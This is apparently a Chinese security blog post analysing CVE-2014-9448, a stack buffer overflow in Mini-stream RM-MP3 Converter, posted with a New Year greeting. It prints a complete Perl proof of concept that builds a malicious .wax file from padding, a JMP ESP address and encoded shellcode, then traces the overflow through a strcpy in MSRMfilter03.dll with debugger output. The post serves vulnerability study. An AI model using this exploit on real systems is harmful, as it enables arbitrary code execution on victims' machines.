[拜年啦!!]Ministream RM-MP3 CONVERTER远程代码执行漏洞(CVE-2014-9448)

作者:k0shl 转载请注明出处:http://whereisk0shl.top

今天是除夕夜了,在这里我给所有关注博客的小伙伴,师傅们拜年了!感谢大家对我博客的支持,新的一年,我将继续保持博客漏洞分析的更新,同时我也会更新一些exploitation以及其他技术研究的内容,为了防止爬取用了静态链接,大家可以关注我的微博http://weibo.cn/k0pwn获取文章地址。希望能继续和大家交流,一起学习进步,也能给我一个向师傅们学习的机会。.

在这里,祝愿大家鸡年大吉,工作顺利,学业进步,身体健康,万事如意,新年技术更上一层楼,0day多多,红包多多!


漏洞说明


软件下载:
https://www.exploit-db.com/apps/1bbf03ec57b1ad30970362518e073215-Mini-streamRM-MP3Converter.exe

PoC:

my $file     =  "exploit.wax";       #dont change file name if change file name you must change $filepath
my $junk     =  "\x41" x 43516;
my $eip      =  "\xC3\x9c\xC8\x75";  #75C89CC3   JMP ESP | bad char: \x09\x0a
my $oyala    =  "\x90" x 100;
 
#tested on my windows 7 ultimate for file name "exploit.wax" if its not true path your windows you can change it for you
my $filepath =  "\x01\x00\x00\x00\x00\x00\x00\x00".   # .......
                "\xCA\x84\xB2\x75\x4C\x00\x31\x00".   # Ê„²uD.2.
                "\x22\x00\x00\x00\x43\x3A\x5C\x55".   # "...C:\U
                "\x73\x65\x72\x73\x5C\x61\x64\x6D".   # sers\adm
                "\x69\x6E\x5C\x44\x65\x73\x6B\x74".   # in\Deskt
                "\x6F\x70\x5C\x65\x78\x70\x6C\x6F".   # op\explo
                "\x69\x74\x2E\x77\x61\x78\x00\x00";   # it.wax..
                 
#msfpayload windows/exec EXITFUNC=seh CMD=calc.exe R | ruby msfencode -e x86/alpha_upper -t c           
my $shellcode = "\x89\xe5\xd9\xc2\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x43".
                "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34".
                "\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41".
                "\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58".
                "\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4b\x39\x43\x30".
                "\x45\x50\x43\x30\x45\x30\x4c\x49\x5a\x45\x56\x51\x49\x42\x52".
                "\x44\x4c\x4b\x50\x52\x56\x50\x4c\x4b\x51\x42\x54\x4c\x4c\x4b".
                "\x56\x32\x54\x54\x4c\x4b\x52\x52\x56\x48\x54\x4f\x4f\x47\x50".
                "\x4a\x56\x46\x56\x51\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c".
                "\x43\x51\x43\x4c\x54\x42\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54".
                "\x4d\x43\x31\x49\x57\x4b\x52\x4c\x30\x56\x32\x50\x57\x4c\x4b".
                "\x56\x32\x52\x30\x4c\x4b\x51\x52\x47\x4c\x43\x31\x58\x50\x4c".
                "\x4b\x51\x50\x43\x48\x4b\x35\x4f\x30\x54\x34\x51\x5a\x43\x31".
                "\x4e\x30\x56\x30\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x56\x38\x47".
                "\x50\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x56\x54".
                "\x4c\x4b\x43\x31\x49\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e".
                "\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x50\x38\x4d\x30".
                "\x54\x35\x4c\x34\x45\x53\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x51".
                "\x34\x52\x55\x4d\x32\x50\x58\x4c\x4b\x50\x58\x51\x34\x45\x51".
                "\x49\x43\x52\x46\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x56\x38\x45".
                "\x4c\x43\x31\x4e\x33\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x58\x50".
                "\x4d\x59\x50\x44\x47\x54\x51\x34\x51\x4b\x51\x4b\x45\x31\x56".
                "\x39\x50\x5a\x56\x31\x4b\x4f\x4b\x50\x51\x48\x51\x4f\x50\x5a".
                "\x4c\x4b\x45\x42\x5a\x4b\x4d\x56\x51\x4d\x52\x4a\x45\x51\x4c".
                "\x4d\x4b\x35\x4f\x49\x43\x30\x45\x50\x43\x30\x56\x30\x45\x38".
                "\x56\x51\x4c\x4b\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b".
                "\x4e\x54\x4e\x50\x32\x5a\x4a\x45\x38\x49\x36\x4d\x45\x4f\x4d".
                "\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x45\x56\x43\x4c\x45\x5a\x4d".
                "\x50\x4b\x4b\x4b\x50\x54\x35\x54\x45\x4f\x4b\x50\x47\x54\x53".
                "\x52\x52\x52\x4f\x43\x5a\x45\x50\x56\x33\x4b\x4f\x49\x45\x43".
                "\x53\x45\x31\x52\x4c\x43\x53\x56\x4e\x45\x35\x54\x38\x45\x35".
                "\x45\x50\x41\x41";         
 
open ($FILE, ">$file");
print $FILE "$junk.$eip.$oyala.$shellcode.$filepath";
close ($FILE);

调试环境:
windows xp sp3

利用poc生成一个wax文件,然后用漏洞软件打开即可触发漏洞。


漏洞复现


此漏洞是由于Ministream处理文件时,对文件内容没有进行严格的检查,在MiniStream主程序中读取程序,之后进入MSRMfilter03.dll这个动态链接库中调用Playlist_FindNextItem函数处理文件内容,导致了畸形字符串覆盖缓冲区,在函数结束返回时,由于esp被覆盖,导致程序可控。是一个典型的缓冲区溢出漏洞,下面对此漏洞进行详细分析。

首先,在样本构造时,filepath变量需要注意一下。

filepath = ("\x01\x00\x00\x00\x00\x00\x00\x00"   # 
            "\xCA\x84\xB2\x75\x4C\x00\x31\x00"   # Ê„²uD2
            "\x22\x00\x00\x00\x43\x3A\x5C\x55"   # "C:\U
            "\x73\x65\x72\x73\x5C\x61\x64\x6D"   # sers\adm
            "\x69\x6E\x5C\x44\x65\x73\x6B\x74"   # in\Deskt
            "\x6F\x70\x5C\x65\x78\x70\x6C\x6F"   # op\explo
            "\x69\x74\x2E\x77\x61\x78\x00\x00")   # itwax

这个变量地址不能变,这是程序既定读取内容,需要根据文件路径来规定这个路径,如果想复现这个漏洞的话,这个地址如果系统里没有,可以在C盘下创建一个目录。

样本根据这个路径生成完毕后,用MiniStream打开,程序崩溃,到达漏洞触发位置。

(60c.688): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=0000aaec
eip=41414141 esp=000ff730 ebp=00383d30 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
41414141 ??              ???

这里我们通过kb回溯堆栈调用,发现堆栈已经被破坏了,好像大多数栈溢出都会碰到这样的情况。

(60c.688): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=0000aaec
eip=41414141 esp=000ff730 ebp=00383d30 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
41414141 ??              ???

这种情况下我们采用od的方法,加载所有模块间调用,根据文件打开操作,寻找一些敏感调用下全局断点来找到漏洞触发前的一个点,根据这种情况,在od中找到了一个fopen函数调用。

找到的模块间的调用, 条目 4509
 地址=00435D60
 反汇编=call dword ptr ds:[<&MSVCRT.fopen>]
 目标文件=msvcrt.fopen

重新加载程序,打开样本,程序中断。

0041D1D7  |.  68 E4734400   push RM2MP3Co.004473E4                   ; /mode = "rb"
0041D1DC  |.  55            push ebp                                 ; |path = 
"C:\Users\admin\Desktop\exploit.wax"
0041D1DD  |.  FF15 28C74300 call dword ptr ds:[<&MSVCRT.fopen>]      ; \fopen

可以看到此时却是是对样本文件的打开操作,再次运行样本,直接到达漏洞现场,那么此处调用应该是漏洞触发前的唯一一次调用,我们就由此入手来分析漏洞形成的原因。


漏洞分析


首先在fopen之后,有一处fread操作,我们通过ida pro来看看fread附近的代码。

.text:0041D1F9 loc_41D1F9:                             ; CODE XREF: sub_41D010+1DAj
.text:0041D1F9                 push    esi             ; File
.text:0041D1FA                 push    400h            ; Count
.text:0041D1FF                 lea     ecx, [esp+492Ch+DstBuf]
.text:0041D203                 push    1               ; ElementSize
.text:0041D205                 push    ecx             ; DstBuf
.text:0041D206                 call    ds:fread

可以看到,ecx寄存器作为DstBuf,地址中用于保存读取到的文件内容。接下来用windbg跟踪一下这处call调用。

0:000> p
eax=77c2fce0 ebx=00104a58 ecx=000ff748 edx=00386658 esi=77c2fce0 edi=00447418
eip=0041d206 esp=000ff720 ebp=00383d30 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RM2MP3Converter+0x1d206:
0041d206 ff1524c74300    call    dword ptr [RM2MP3Converter+0x3c724 (0043c724)] ds:0023:0043c724=
{msvcrt!fread (77c111fb)}
0:000> p
eax=00000400 ebx=00104a58 ecx=77c1123c edx=00386658 esi=77c2fce0 edi=00447418
eip=0041d20c esp=000ff720 ebp=00383d30 iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
RM2MP3Converter+0x1d20c:
0041d20c 6a02            push    2

主要看一下ecx的值,在call调用时,ecx的值为000ff748,这处地址是DstBuf,用于保存文件内容,执行后,我们来看一下这个地址中的值。

0:000> dd 000ff748
000ff748  41414141 41414141 41414141 41414141
000ff758  41414141 41414141 41414141 41414141
000ff768  41414141 41414141 41414141 41414141
000ff778  41414141 41414141 41414141 41414141
000ff788  41414141 41414141 41414141 41414141
000ff798  41414141 41414141 41414141 41414141
000ff7a8  41414141 41414141 41414141 41414141

可以看到,已经读取到了畸形字符串,接下来还有几处fseek和ftell操作,大概就是获取文件长度之类的,接下来继续单步跟踪。

0:000> p
eax=00000001 ebx=00104a58 ecx=00104a58 edx=7c92e4f4 esi=77c2fce0 edi=0000aaec
eip=0041d52b esp=000ff72c ebp=00383d30 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
RM2MP3Converter+0x1d52b:
0041d52b e8b0250000      call    RM2MP3Converter+0x1fae0 (0041fae0)
0:000> p
(224.714): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=0000aaec
eip=41414141 esp=000ff730 ebp=00383d30 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
41414141 ??              ???

在0041d52b地址处的call调用后,程序到达漏洞现场,那么sub_41fae0这个函数很有可能是漏洞出发的关键函数,我们要详细分析一下这个函数的内容。

进入函数之后,继续单步步过,发现这个函数直接可以运行到返回位置,在返回位置,发现了问题。

0:000> p
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=0000aaec
eip=00420215 esp=000f6e0c ebp=00383d30 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RM2MP3Converter+0x20215:
00420215 5b              pop     ebx
0:000> p
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=0000aaec
eip=00420216 esp=000f6e10 ebp=00383d30 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RM2MP3Converter+0x20216:
00420216 81c418890000    add     esp,8918h
0:000> p
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=0000aaec
eip=0042021c esp=000ff728 ebp=00383d30 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
RM2MP3Converter+0x2021c:
0042021c c20400          ret     4

在返回位置,esp的地址出现了问题,我们来看一下。

0:000> dd esp
000ff728  41414141 41414141 41414141 41414141
000ff738  41414141 41414141 41414141 41414141
000ff748  41414141 41414141 41414141 41414141
000ff758  41414141 41414141 41414141 41414141
000ff768  41414141 41414141 41414141 41414141
000ff778  41414141 41414141 41414141 41414141
000ff788  41414141 41414141 41414141 41414141

果然,此时esp的值被41414141覆盖了,也就是说,当ret 4执行时,程序会跳转到esp地址存放的值的地址,也就是41414141,也就是我们可控的位置了。

那么也就是说,在这个函数执行的过程中,某处会导致esp的值被覆盖,要注意一下ret 4执行前,会执行 add esp,8918h ,esp的值会加上8918,那么我们在函数入口观察一下这个值。

Breakpoint 0 hit
eax=00000000 ebx=00104a58 ecx=000f9128 edx=00000004 esi=00383d53 edi=000ff728
eip=0041fc1f esp=000f6e00 ebp=00383d30 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
RM2MP3Converter+0x1fc1f:
0041fc1f 51              push    ecx
0:000> dd esp+8918
000ff718  00000000 00000000 00000000 00000000
000ff728  0041d530 00383d30 00000000 00000006
000ff738  00104a58 00000001 7c9301bb 00000000
000ff748  41414141 41414141 41414141 41414141
000ff758  41414141 41414141 41414141 41414141
000ff768  41414141 41414141 41414141 41414141
000ff778  41414141 41414141 41414141 41414141
000ff788  41414141 41414141 41414141 41414141

可以看到,入口处esp+8918的值还是正常值,也就是说函数中的某处会将这个值覆盖,接下来我们继续单步跟踪,要找到覆盖的位置。

0:000> p
eax=00000000 ebx=00104a58 ecx=000f9128 edx=00000004 esi=00383d53 edi=000ff728
eip=0041fc20 esp=000f6dfc ebp=00383d30 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
RM2MP3Converter+0x1fc20:
*** WARNING: Unable to verify checksum for C:\Program Files\Mini-stream\Mini-stream RM-MP3 
Converter\MSRMfilter03.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Mini-
stream\Mini-stream RM-MP3 Converter\MSRMfilter03.dll - 
0041fc20 ff9372640000    call    dword ptr [ebx+6472h] ds:0023:0010aeca={MSRMfilter03!
Playlist_FindNextItem (10008d40)}
0:000> p
eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000004 esi=00383d53 edi=000ff728
eip=0041fc26 esp=000f6dfc ebp=00383d30 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
RM2MP3Converter+0x1fc26:
0041fc26 83c404          add     esp,4
0:000> dd esp+8918
000ff714  41414141 41414141 41414141 41414141
000ff724  41414141 41414141 41414141 41414141
000ff734  41414141 41414141 41414141 41414141
000ff744  41414141 41414141 41414141 41414141
000ff754  41414141 41414141 41414141 41414141
000ff764  41414141 41414141 41414141 41414141

在0041fc20地址,执行了一处call操作,这处call操作后,esp+8918的值改变了,关注一下这处call调用。

这是调用了程序的一个动态链接库MSRMfilter03.dll中的PlayList_FindNextItem函数。

signed int __cdecl Playlist_FindNextItem(char *a1)
{
  const char *v1; // eax@1
  signed int result; // eax@2

  sub_10008DE0(5, aDebugPlaylis_3, (unsigned int)aDMpf2_0Mplayer);
  v1 = (const char *)sub_10006850(dword_1004D600, 1);
  if ( v1 )
  {
    strcpy(a1, v1);
    sub_10008DE0(5, aDebugPlaylis_4, (unsigned int)aDMpf2_0Mplayer);
    result = 1;
  }
  else
  {
    sub_10008DE0(5, aDebugPlaylis_5, (unsigned int)aDMpf2_0Mplayer);
    result = 0;
  }
  return result;
}

注意观察v1变量,v1变量赋值后,会进行一次if判断,之后会进入if条件判断中,执行一次strcpy操作,将v1的值交给变量a1,这里非常关键,也是漏洞触发的关键位置。

首先我们先观察v1变量调用sub_10006850函数。

10008d5b 6a01            push    1
10008d5d 50              push    eax
10008d5e e8eddaffff      call    MSRMfilter03+0x6850 (10006850)
10008d63 83c418          add     esp,18h
10008d66 85c0            test    eax,eax
10008d68 7444            je      MSRMfilter03!Playlist_FindNextItem+0x6e (10008dae)

这个函数的两个参数分别是eax和1,所以进入前,我们观察一下eax寄存器。

0:000> dc eax
02ed5748  555c3a43 73726573 6d64615c 445c6e69  C:\Users\admin\D
02ed5758  746b7365 415c706f 41414141 41414141  esktop\AAAAAAAAA
02ed5768  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02ed5778  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02ed5788  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02ed5798  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02ed57a8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
02ed57b8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

果然这个eax寄存器此时已经是畸形字符串了,而这处执行完之后,会进入一处条件判断跳转,判断的内容正是执行完call函数后eax的值。

也就是说之前伪代码中的v1,此时会是eax中存放的值。而我们来看一下eax之后的去处。

.text:10008D6C                 mov     edi, eax
.text:10008D6E                 or      ecx, 0FFFFFFFFh
.text:10008D71                 xor     eax, eax
.text:10008D73                 push    0CDh
.text:10008D78                 repne scasb
.text:10008D7A                 not     ecx
.text:10008D7C                 sub     edi, ecx
.text:10008D7E                 push    offset aDMpf2_0Mplayer ; "D:\\Mpf2.0\\MplayerMod\\dll_interface\\"...
.text:10008D83                 mov     edx, ecx
.text:10008D85                 mov     esi, edi
.text:10008D87                 mov     edi, [esp+10h+arg_0]
.text:10008D8B                 push    offset aDebugPlaylis_4 ; "Debug: Playlist_FindNextItem ok. %s(%u)"
.text:10008D90                 shr     ecx, 2
.text:10008D93                 rep movsd

10008D6C处,eax值会交给edi,之后edi会减去ecx,之后edi值交给esi,之后再10008D93会执行一处esi地址存放的值交给edi的操作,其实这就是strcpy,那么我们来看一下这里。

0:000> p
eax=00000000 ebx=00104a58 ecx=00002ab3 edx=0000aacd esi=02ed5748 edi=000f9128
eip=10008d93 esp=000f6de4 ebp=00383d30 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSRMfilter03!Playlist_FindNextItem+0x53:
10008d93 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> p
eax=00000000 ebx=00104a58 ecx=00000000 edx=0000aacd esi=02ee0214 edi=00103bf4
eip=10008d95 esp=000f6de4 ebp=00383d30 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSRMfilter03!Playlist_FindNextItem+0x55:
10008d95 8bca            mov     ecx,edx
0:000> dd esp+8918
000ff6fc  41414141 41414141 41414141 41414141
000ff70c  41414141 41414141 41414141 41414141
000ff71c  41414141 41414141 41414141 41414141
000ff72c  41414141 41414141 41414141 41414141
000ff73c  41414141 41414141 41414141 41414141
000ff74c  41414141 41414141 41414141 41414141

可以看到strcpy之后,esp的值被覆盖了,当函数返回,即可到达用户可控的地址,执行恶意代码。

Comments
Write a Comment
  • exp_pekin reply

    老师,怎么利用POC生成样本文件啊?